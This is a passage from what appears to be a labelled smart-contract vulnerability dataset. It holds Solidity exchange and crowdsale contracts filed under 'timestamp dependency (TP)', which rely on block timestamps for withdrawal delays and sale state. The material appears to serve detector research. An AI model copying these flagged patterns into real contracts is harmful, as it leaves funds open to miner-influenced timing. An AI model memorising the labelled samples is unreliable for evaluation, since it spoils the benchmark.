assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); assert(!lastTierCntrct.finalized()); pricingStrategy.updateRate(newOneTokenInWei); } function assignTokens(address receiver, uint tokenAmount) private { MintableTokenExt mintableToken = MintableTokenExt(token); mintableToken.mint(receiver, tokenAmount); } }",./Dataset/timestamp dependency (TP)/,6,6 7511.sol," pragma solidity ^0.4.20; contract SafeMath { function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) { uint256 z = _x + _y; assert(z >= _x); return z; } function safeSub(uint256 _x, uint256 _y) internal pure returns (uint256) { assert(_x >= _y); return _x - _y; } function safeMul(uint256 _x, uint256 _y) internal pure returns (uint256) { uint256 z = _x * _y; assert(_x == 0 || z / _x == _y); return z; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Token { uint256 public totalSupply; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract R1Exchange is SafeMath, Ownable { mapping(address => bool) public admins; mapping(address => bool) public feeAccounts; bool public withdrawEnabled = false; mapping(address => mapping(address => uint256)) public tokenList; mapping(address => mapping(bytes32 => uint256)) public orderFilled; mapping(bytes32 => bool) public withdrawn; mapping(address => mapping(address => uint256)) public withdrawAllowance; mapping(address => mapping(address => uint256)) public applyList; mapping(address => mapping(address => uint)) public latestApply; uint public applyWait = 7 days; uint public feeRate = 1; event Deposit(address indexed token, address indexed user, uint256 amount, uint256 balance); event Withdraw(address indexed token, address indexed user, uint256 amount, uint256 balance); event ApplyWithdraw(address indexed token, address indexed user, uint256 amount, uint256 time); modifier onlyAdmin { require(admins[msg.sender]); _; } modifier isWithdrawEnabled { require(withdrawEnabled); _; } modifier isFeeAccount(address fa) { require(feeAccounts[fa]); _; } function() public { revert(); } function setAdmin(address admin, bool isAdmin) public onlyOwner { require(admin != 0); admins[admin] = isAdmin; } function setFeeAccount(address acc, bool asFee) public onlyOwner { require(acc != 0); feeAccounts[acc] = asFee; } function enableWithdraw(bool enabled) public onlyOwner { withdrawEnabled = enabled; } function changeLockTime(uint lock) public onlyOwner { require(lock <= 7 days); applyWait = lock; } function changeFeeRate(uint fr) public onlyOwner { require(fr > 0); feeRate = fr; } function deposit() public payable { tokenList[0][msg.sender] = safeAdd(tokenList[0][msg.sender], msg.value); Deposit(0, msg.sender, msg.value, tokenList[0][msg.sender]); } function depositToken(address token, uint256 amount) public { require(token != 0); tokenList[token][msg.sender] = safeAdd(tokenList[token][msg.sender], amount); require(Token(token).transferFrom(msg.sender, this, amount)); Deposit(token, msg.sender, amount, tokenList[token][msg.sender]); } function applyWithdraw(address token, uint256 amount) public { uint256 apply = safeAdd(applyList[token][msg.sender], amount); require(safeAdd(apply, withdrawAllowance[token][msg.sender]) <= tokenList[token][msg.sender]); applyList[token][msg.sender] = apply; latestApply[token][msg.sender] = block.timestamp; ApplyWithdraw(token, msg.sender, amount, block.timestamp); } function approveWithdraw(address token, address user) public onlyAdmin { withdrawAllowance[token][user] = safeAdd(withdrawAllowance[token][user], applyList[token][user]); applyList[token][user] = 0; latestApply[token][user] = 0; } function withdraw(address token, uint256 amount) public { require(amount <= tokenList[token][msg.sender]); if (amount > withdrawAllowance[token][msg.sender]) { require(latestApply[token][msg.sender] != 0 && safeSub(block.timestamp, latestApply[token][msg.sender]) > applyWait); withdrawAllowance[token][msg.sender] = safeAdd(withdrawAllowance[token][msg.sender], applyList[token][msg.sender]); applyList[token][msg.sender] = 0; } require(amount <= withdrawAllowance[token][msg.sender]); withdrawAllowance[token][msg.sender] = safeSub(withdrawAllowance[token][msg.sender], amount); tokenList[token][msg.sender] = safeSub(tokenList[token][msg.sender], amount); latestApply[token][msg.sender] = 0; if (token == 0) { require(msg.sender.send(amount)); } else { require(Token(token).transfer(msg.sender, amount)); } Withdraw(token, msg.sender, amount, tokenList[token][msg.sender]); } function withdrawNoLimit(address token, uint256 amount) public isWithdrawEnabled { require(amount <= tokenList[token][msg.sender]); tokenList[token][msg.sender] = safeSub(tokenList[token][msg.sender], amount); if (token == 0) { require(msg.sender.send(amount)); } else { require(Token(token).transfer(msg.sender, amount)); } Withdraw(token, msg.sender, amount, tokenList[token][msg.sender]); } function adminWithdraw(address[3] addresses, uint256[3] values, uint8 v, bytes32 r, bytes32 s) public onlyAdmin isFeeAccount(addresses[2]) { address user = addresses[0]; address token = addresses[1]; address feeAccount = addresses[2]; uint256 amount = values[0]; uint256 nonce = values[1]; uint256 fee = values[2]; require(amount <= tokenList[token][user]); require(safeMul(fee, feeRate) < amount); bytes32 hash = keccak256(user, token, amount, nonce); require(!withdrawn[hash]); withdrawn[hash] = true; require(ecrecover(keccak256(""\x19Ethereum Signed Message:\n32"", hash), v, r, s) == user); tokenList[token][user] = safeSub(tokenList[token][user], amount); tokenList[token][feeAccount] = safeAdd(tokenList[token][feeAccount], fee); amount = safeSub(amount, fee); if (token == 0) { require(user.send(amount)); } else { require(Token(token).transfer(user, amount)); } Withdraw(token, user, amount, tokenList[token][user]); } function getOrderHash(address tokenBuy, uint256 amountBuy, address tokenSell, uint256 amountSell, address base, uint256 expires, uint256 nonce, address feeToken) public pure returns (bytes32) { return keccak256(tokenBuy, amountBuy, tokenSell, amountSell, base, expires, nonce, feeToken); } function balanceOf(address token, address user) public constant returns (uint256) { return tokenList[token][user]; } struct Order { address tokenBuy; address tokenSell; uint256 amountBuy; uint256 amountSell; address user; uint256 fee; uint256 expires; uint256 nonce; bytes32 orderHash; address baseToken; address feeToken; } function trade( address[11] addresses, uint256[11] values, uint8[2] v, bytes32[2] r, bytes32[2] s ) public onlyAdmin isFeeAccount(addresses[10]) { Order memory makerOrder = Order({ tokenBuy : addresses[0], tokenSell : addresses[2], user : addresses[4], amountBuy : values[0], amountSell : values[2], fee : values[4], expires : values[6], nonce : values[8], orderHash : 0, baseToken : addresses[6], feeToken : addresses[8] }); Order memory takerOrder = Order({ tokenBuy : addresses[1], tokenSell : addresses[3], user : addresses[5], amountBuy : values[1], amountSell : values[3], fee : values[5], expires : values[7], nonce : values[9], orderHash : 0, baseToken : addresses[7], feeToken : addresses[9] }); uint256 tradeAmount = values[10]; require(makerOrder.expires >= block.number && takerOrder.expires >= block.number); require(makerOrder.baseToken == takerOrder.baseToken && makerOrder.tokenBuy == takerOrder.tokenSell && makerOrder.tokenSell == takerOrder.tokenBuy); require(takerOrder.baseToken == takerOrder.tokenBuy || takerOrder.baseToken == takerOrder.tokenSell); makerOrder.orderHash = getOrderHash(makerOrder.tokenBuy, makerOrder.amountBuy, makerOrder.tokenSell, makerOrder.amountSell, makerOrder.baseToken, makerOrder.expires, makerOrder.nonce, makerOrder.feeToken); takerOrder.orderHash = getOrderHash(takerOrder.tokenBuy, takerOrder.amountBuy, takerOrder.tokenSell, takerOrder.amountSell, takerOrder.baseToken, takerOrder.expires, takerOrder.nonce, takerOrder.feeToken); require(ecrecover(keccak256(""\x19Ethereum Signed Message:\n32"", makerOrder.orderHash), v[0], r[0], s[0]) == makerOrder.user); require(ecrecover(keccak256(""\x19Ethereum Signed Message:\n32"", takerOrder.orderHash), v[1], r[1], s[1]) == takerOrder.user); balance(makerOrder, takerOrder, addresses[10], tradeAmount); } function balance(Order makerOrder, Order takerOrder, address feeAccount, uint256 tradeAmount) internal { require(safeMul(makerOrder.amountSell, takerOrder.amountSell) >= safeMul(makerOrder.amountBuy, takerOrder.amountBuy)); uint256 takerBuy = 0; uint256 takerSell = 0; if (takerOrder.baseToken == takerOrder.tokenBuy) { uint256 makerAmount = safeSub(makerOrder.amountBuy, orderFilled[makerOrder.user][makerOrder.orderHash]); uint256 takerAmount = safeSub(takerOrder.amountSell, orderFilled[takerOrder.user][takerOrder.orderHash]); require(tradeAmount > 0 && tradeAmount <= makerAmount && tradeAmount <= takerAmount); takerSell = tradeAmount; takerBuy = safeMul(makerOrder.amountSell, takerSell) / makerOrder.amountBuy; orderFilled[takerOrder.user][takerOrder.orderHash] = safeAdd(orderFilled[takerOrder.user][takerOrder.orderHash], takerSell); orderFilled[makerOrder.user][makerOrder.orderHash] = safeAdd(orderFilled[makerOrder.user][makerOrder.orderHash], takerSell); } else { takerAmount = safeSub(takerOrder.amountBuy, orderFilled[takerOrder.user][takerOrder.orderHash]); makerAmount = safeSub(makerOrder.amountSell, orderFilled[makerOrder.user][makerOrder.orderHash]); require(tradeAmount > 0 && tradeAmount <= makerAmount && tradeAmount <= takerAmount); takerBuy = tradeAmount; takerSell = safeMul(makerOrder.amountBuy, takerBuy) / makerOrder.amountSell; orderFilled[takerOrder.user][takerOrder.orderHash] = safeAdd(orderFilled[takerOrder.user][takerOrder.orderHash], takerBuy); orderFilled[makerOrder.user][makerOrder.orderHash] = safeAdd(orderFilled[makerOrder.user][makerOrder.orderHash], takerBuy); } uint256 makerFee = chargeFee(makerOrder, feeAccount, takerSell); uint256 takerFee = chargeFee(takerOrder, feeAccount, takerBuy); tokenList[takerOrder.tokenSell][takerOrder.user] = safeSub(tokenList[takerOrder.tokenSell][takerOrder.user], takerSell); tokenList[takerOrder.tokenBuy][takerOrder.user] = safeAdd(tokenList[takerOrder.tokenBuy][takerOrder.user], safeSub(takerBuy, takerFee)); tokenList[makerOrder.tokenSell][makerOrder.user] = safeSub(tokenList[makerOrder.tokenSell][makerOrder.user], takerBuy); tokenList[makerOrder.tokenBuy][makerOrder.user] = safeAdd(tokenList[makerOrder.tokenBuy][makerOrder.user], safeSub(takerSell, makerFee)); } function chargeFee(Order order, address feeAccount, uint256 amountBuy) internal returns (uint256){ uint256 classicFee = 0; if (order.feeToken != 0) { require(order.fee <= tokenList[order.feeToken][order.user]); tokenList[order.feeToken][feeAccount] = safeAdd(tokenList[order.feeToken][feeAccount], order.fee); tokenList[order.feeToken][order.user] = safeSub(tokenList[order.feeToken][order.user], order.fee); } else { classicFee = order.fee; require(safeMul(order.fee, feeRate) <= amountBuy); tokenList[order.tokenBuy][feeAccount] = safeAdd(tokenList[order.tokenBuy][feeAccount], order.fee); } return classicFee; } function batchTrade( address[11][] addresses, uint256[11][] values, uint8[2][] v, bytes32[2][] r, bytes32[2][] s ) public onlyAdmin { for (uint i = 0; i < addresses.length; i++) { trade(addresses[i], values[i], v[i], r[i], s[i]); } } function refund(address user, address[] tokens) public onlyAdmin { for (uint i = 0; i < tokens.length; i++) { address token = tokens[i]; uint256 amount = tokenList[token][user]; if (amount > 0) { tokenList[token][user] = 0; if (token == 0) { require(user.send(amount)); } else { require(Token(token).transfer(user, amount)); } Withdraw(token, user, amount, tokenList[token][user]); } } } }",./Dataset/timestamp dependency (TP)/,6,6 0x00aC2bA4dF3CFe893e50138D2F0123b7E51A7806_MintedTokenCappedCrowdsaleExt.sol,"// Created using Token Wizard https://github.com/poanetwork/token-wizard by POA Network // Temporarily have SafeMath here until all contracts have been migrated to SafeMathLib version from OpenZeppelin pragma solidity ^0.4.8; /** * Math operations with safety checks */ contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Safe unsigned safe math. * * https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736#.750gwtwli * * Originally from https://raw.githubusercontent.com/AragonOne/zeppelin-solidity/master/contracts/SafeMathLib.sol * * Maintained here until merged to mainline zeppelin-solidity. * */ library SafeMathLibExt { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function divides(uint a, uint b) returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /* * Haltable * * Abstract contract that allows children to implement an * emergency stop mechanism. Differs from Pausable by causing a throw when in halt mode. * * * Originally envisioned in FirstBlood ICO contract. */ contract Haltable is Ownable { bool public halted; modifier stopInEmergency { if (halted) throw; _; } modifier stopNonOwnersInEmergency { if (halted && msg.sender != owner) throw; _; } modifier onlyInEmergency { if (!halted) throw; _; } // called by the owner on emergency, triggers stopped state function halt() external onlyOwner { halted = true; } // called by the owner on end of emergency, returns to normal state function unhalt() external onlyOwner onlyInEmergency { halted = false; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Interface for defining crowdsale pricing. */ contract PricingStrategy { address public tier; /** Interface declaration. */ function isPricingStrategy() public constant returns (bool) { return true; } /** Self check if all references are correctly set. * * Checks that pricing strategy matches crowdsale parameters. */ function isSane(address crowdsale) public constant returns (bool) { return true; } /** * @dev Pricing tells if this is a presale purchase or not. @param purchaser Address of the purchaser @return False by default, true if a presale purchaser */ function isPresalePurchase(address purchaser) public constant returns (bool) { return false; } /* How many weis one token costs */ function updateRate(uint newOneTokenInWei) public; /** * When somebody tries to buy tokens for X eth, calculate how many tokens they get. * * * @param value - What is the value of the transaction send in as wei * @param tokensSold - how much tokens have been sold this far * @param weiRaised - how much money has been raised this far in the main token sale - this number excludes presale * @param msgSender - who is the investor of this transaction * @param decimals - how many decimal units the token has * @return Amount of tokens the investor receives */ function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Finalize agent defines what happens at the end of succeseful crowdsale. * * - Allocate tokens for founders, bounties and community * - Make tokens transferable * - etc. */ contract FinalizeAgent { bool public reservedTokensAreDistributed = false; function isFinalizeAgent() public constant returns(bool) { return true; } /** Return true if we can run finalizeCrowdsale() properly. * * This is a safety check function that doesn't allow crowdsale to begin * unless the finalizer has been set up properly. */ function isSane() public constant returns (bool); function distributeReservedTokens(uint reservedTokensDistributionBatch); /** Called once by crowdsale finalize() if the sale was success. */ function finalizeCrowdsale(); } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * A token that defines fractional units as decimals. */ contract FractionalERC20Ext is ERC20 { uint public decimals; uint public minCap; } /** * Abstract base contract for token sales. * * Handle * - start and end dates * - accepting investments * - minimum funding goal and refund * - various statistics during the crowdfund * - different pricing strategies * - different investment policies (require server side customer id, allow only whitelisted addresses) * */ contract CrowdsaleExt is Haltable { /* Max investment count when we are still allowed to change the multisig address */ uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; using SafeMathLibExt for uint; /* The token we are selling */ FractionalERC20Ext public token; /* How we are going to price our offering */ PricingStrategy public pricingStrategy; /* Post-success callback */ FinalizeAgent public finalizeAgent; /* name of the crowdsale tier */ string public name; /* tokens will be transfered from this address */ address public multisigWallet; /* if the funding goal is not reached, investors may withdraw their funds */ uint public minimumFundingGoal; /* the UNIX timestamp start date of the crowdsale */ uint public startsAt; /* the UNIX timestamp end date of the crowdsale */ uint public endsAt; /* the number of tokens already sold through this contract*/ uint public tokensSold = 0; /* How many wei of funding we have raised */ uint public weiRaised = 0; /* How many distinct addresses have invested */ uint public investorCount = 0; /* Has this crowdsale been finalized */ bool public finalized; bool public isWhiteListed; address[] public joinedCrowdsales; uint8 public joinedCrowdsalesLen = 0; uint8 public joinedCrowdsalesLenMax = 50; struct JoinedCrowdsaleStatus { bool isJoined; uint8 position; } mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; /** How much ETH each address has invested to this crowdsale */ mapping (address => uint256) public investedAmountOf; /** How much tokens this crowdsale has credited for each investor address */ mapping (address => uint256) public tokenAmountOf; struct WhiteListData { bool status; uint minCap; uint maxCap; } //is crowdsale updatable bool public isUpdatable; /** Addresses that are allowed to invest even before ICO offical opens. For testing, for ICO partners, etc. */ mapping (address => WhiteListData) public earlyParticipantWhitelist; /** List of whitelisted addresses */ address[] public whitelistedParticipants; /** This is for manul testing for the interaction from owner wallet. You can set it to any value and inspect this in blockchain explorer to see that crowdsale interaction works. */ uint public ownerTestValue; /** State machine * * - Preparing: All contract initialization calls and variables have not been set yet * - Prefunding: We have not passed start time yet * - Funding: Active crowdsale * - Success: Minimum funding goal reached * - Failure: Minimum funding goal not reached before ending time * - Finalized: The finalized has been called and succesfully executed */ enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} // A new investment was made event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); // Address early participation whitelist status changed event Whitelisted(address addr, bool status, uint minCap, uint maxCap); event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); // Crowdsale start time has been changed event StartsAtChanged(uint newStartsAt); // Crowdsale end time has been changed event EndsAtChanged(uint newEndsAt); function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { owner = msg.sender; name = _name; token = FractionalERC20Ext(_token); setPricingStrategy(_pricingStrategy); multisigWallet = _multisigWallet; if(multisigWallet == 0) { throw; } if(_start == 0) { throw; } startsAt = _start; if(_end == 0) { throw; } endsAt = _end; // Don't mess the dates if(startsAt >= endsAt) { throw; } // Minimum funding goal can be zero minimumFundingGoal = _minimumFundingGoal; isUpdatable = _isUpdatable; isWhiteListed = _isWhiteListed; } /** * Don't expect to just send in money and get tokens. */ function() payable { throw; } /** * Make an investment. * * Crowdsale must be running for one to invest. * We must have not pressed the emergency brake. * * @param receiver The Ethereum address who receives the tokens * @param customerId (optional) UUID v4 to track the successful payments on the server side * */ function investInternal(address receiver, uint128 customerId) stopInEmergency private { // Determine if it's a good time to accept investment from this participant if(getState() == State.PreFunding) { // Are we whitelisted for early deposit throw; } else if(getState() == State.Funding) { // Retail participants can only come in when the crowdsale is running // pass if(isWhiteListed) { if(!earlyParticipantWhitelist[receiver].status) { throw; } } } else { // Unwanted state throw; } uint weiAmount = msg.value; // Account presale sales separately, so that they do not count against pricing tranches uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals()); if(tokenAmount == 0) { // Dust transaction throw; } if(isWhiteListed) { if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) { // tokenAmount < minCap for investor throw; } // Check that we did not bust the investor's cap if (isBreakingInvestorCap(receiver, tokenAmount)) { throw; } updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount); } else { if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) { throw; } } if(investedAmountOf[receiver] == 0) { // A new investor investorCount++; } // Update investor investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); // Update totals weiRaised = weiRaised.plus(weiAmount); tokensSold = tokensSold.plus(tokenAmount); // Check that we did not bust the cap if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) { throw; } assignTokens(receiver, tokenAmount); // Pocket the money if(!multisigWallet.send(weiAmount)) throw; // Tell us invest was success Invested(receiver, weiAmount, tokenAmount, customerId); } /** * Allow anonymous contributions to this crowdsale. */ function invest(address addr) public payable { investInternal(addr, 0); } /** * The basic entry point to participate the crowdsale process. * * Pay for funding, get invested tokens back in the sender address. */ function buy() public payable { invest(msg.sender); } function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency { // Already finalized if(finalized) { throw; } // Finalizing is optional. We only call it if we are given a finalizing agent. if(address(finalizeAgent) != address(0)) { finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch); } } function areReservedTokensDistributed() public constant returns (bool) { return finalizeAgent.reservedTokensAreDistributed(); } function canDistributeReservedTokens() public constant returns(bool) { CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true; return false; } /** * Finalize a succcesful crowdsale. * * The owner can triggre a call the contract that provides post-crowdsale actions, like releasing the tokens. */ function finalize() public inState(State.Success) onlyOwner stopInEmergency { // Already finalized if(finalized) { throw; } // Finalizing is optional. We only call it if we are given a finalizing agent. if(address(finalizeAgent) != address(0)) { finalizeAgent.finalizeCrowdsale(); } finalized = true; } /** * Allow to (re)set finalize agent. * * Design choice: no state restrictions on setting this, so that we can fix fat finger mistakes. */ function setFinalizeAgent(FinalizeAgent addr) public onlyOwner { assert(address(addr) != address(0)); assert(address(finalizeAgent) == address(0)); finalizeAgent = addr; // Don't allow setting bad agent if(!finalizeAgent.isFinalizeAgent()) { throw; } } /** * Allow addresses to do early participation. */ function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner { if (!isWhiteListed) throw; assert(addr != address(0)); assert(maxCap > 0); assert(minCap <= maxCap); assert(now <= endsAt); if (!isAddressWhitelisted(addr)) { whitelistedParticipants.push(addr); Whitelisted(addr, status, minCap, maxCap); } else { WhitelistItemChanged(addr, status, minCap, maxCap); } earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap}); } function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner { if (!isWhiteListed) throw; assert(now <= endsAt); assert(addrs.length == statuses.length); assert(statuses.length == minCaps.length); assert(minCaps.length == maxCaps.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]); } } function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private { if (!isWhiteListed) throw; if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought); } } function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public { if (!isWhiteListed) throw; assert(addr != address(0)); assert(now <= endsAt); assert(isTierJoined(msg.sender)); if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw; //if (addr != msg.sender && contractAddr != msg.sender) throw; uint newMaxCap = earlyParticipantWhitelist[addr].maxCap; newMaxCap = newMaxCap.minus(tokensBought); earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap}); } function isAddressWhitelisted(address addr) public constant returns(bool) { for (uint i = 0; i < whitelistedParticipants.length; i++) { if (whitelistedParticipants[i] == addr) { return true; break; } } return false; } function whitelistedParticipantsLength() public constant returns (uint) { return whitelistedParticipants.length; } function isTierJoined(address addr) public constant returns(bool) { return joinedCrowdsaleState[addr].isJoined; } function getTierPosition(address addr) public constant returns(uint8) { return joinedCrowdsaleState[addr].position; } function getLastTier() public constant returns(address) { if (joinedCrowdsalesLen > 0) return joinedCrowdsales[joinedCrowdsalesLen - 1]; else return address(0); } function setJoinedCrowdsales(address addr) private onlyOwner { assert(addr != address(0)); assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax); assert(!isTierJoined(addr)); joinedCrowdsales.push(addr); joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({ isJoined: true, position: joinedCrowdsalesLen }); joinedCrowdsalesLen++; } function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner { assert(addrs.length > 0); assert(joinedCrowdsalesLen == 0); assert(addrs.length <= joinedCrowdsalesLenMax); for (uint8 iter = 0; iter < addrs.length; iter++) { setJoinedCrowdsales(addrs[iter]); } } function setStartsAt(uint time) onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= time); // Don't change past assert(time <= endsAt); assert(now <= startsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if (lastTierCntrct.finalized()) throw; uint8 tierPosition = getTierPosition(this); //start time should be greater then end time of previous tiers for (uint8 j = 0; j < tierPosition; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); assert(time >= crowdsale.endsAt()); } startsAt = time; StartsAtChanged(startsAt); } /** * Allow crowdsale owner to close early or extend the crowdsale. * * This is useful e.g. for a manual soft cap implementation: * - after X amount is reached determine manual closing * * This may put the crowdsale to an invalid state, * but we trust owners know what they are doing. * */ function setEndsAt(uint time) public onlyOwner { assert(!finalized); assert(isUpdatable); assert(now <= time);// Don't change past assert(startsAt <= time); assert(now <= endsAt); CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier()); if (lastTierCntrct.finalized()) throw; uint8 tierPosition = getTierPosition(this); for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) { CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]); assert(time <= crowdsale.startsAt()); } endsAt = time; EndsAtChanged(endsAt); } /** * Allow to (re)set pricing strategy. * * Design choice: no state restrictions on the set, so that we can fix fat finger mistakes. */ function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner { assert(address(_pricingStrategy) != address(0)); assert(address(pricingStrategy) == address(0)); pricingStrategy = _pricingStrategy; // Don't allow setting bad agent if(!pricingStrategy.isPricingStrategy()) { throw; } } /** * Allow to change the team multisig address in the case of emergency. * * This allows to save a deployed crowdsale wallet in the case the crowdsale has not yet begun * (we have done only few test transactions). After the crowdsale is going * then multisig address stays locked for the safety reasons. */ function setMultisig(address addr) public onlyOwner { // Change if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { throw; } multisigWallet = addr; } /** * @return true if the crowdsale has raised enough money to be a successful. */ function isMinimumGoalReached() public constant returns (bool reached) { return weiRaised >= minimumFundingGoal; } /** * Check if the contract relationship looks good. */ function isFinalizerSane() public constant returns (bool sane) { return finalizeAgent.isSane(); } /** * Check if the contract relationship looks good. */ function isPricingSane() public constant returns (bool sane) { return pricingStrategy.isSane(address(this)); } /** * Crowdfund state machine management. * * We make it a function and do not assign the result to a variable, so there is no chance of the variable being stale. */ function getState() public constant returns (State) { if(finalized) return State.Finalized; else if (address(finalizeAgent) == 0) return State.Preparing; else if (!finalizeAgent.isSane()) return State.Preparing; else if (!pricingStrategy.isSane(address(this))) return State.Preparing; else if (block.timestamp < startsAt) return State.PreFunding; else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; else if (isMinimumGoalReached()) return State.Success; else return State.Failure; } /** Interface marker. */ function isCrowdsale() public constant returns (bool) { return true; } // // Modifiers // /** 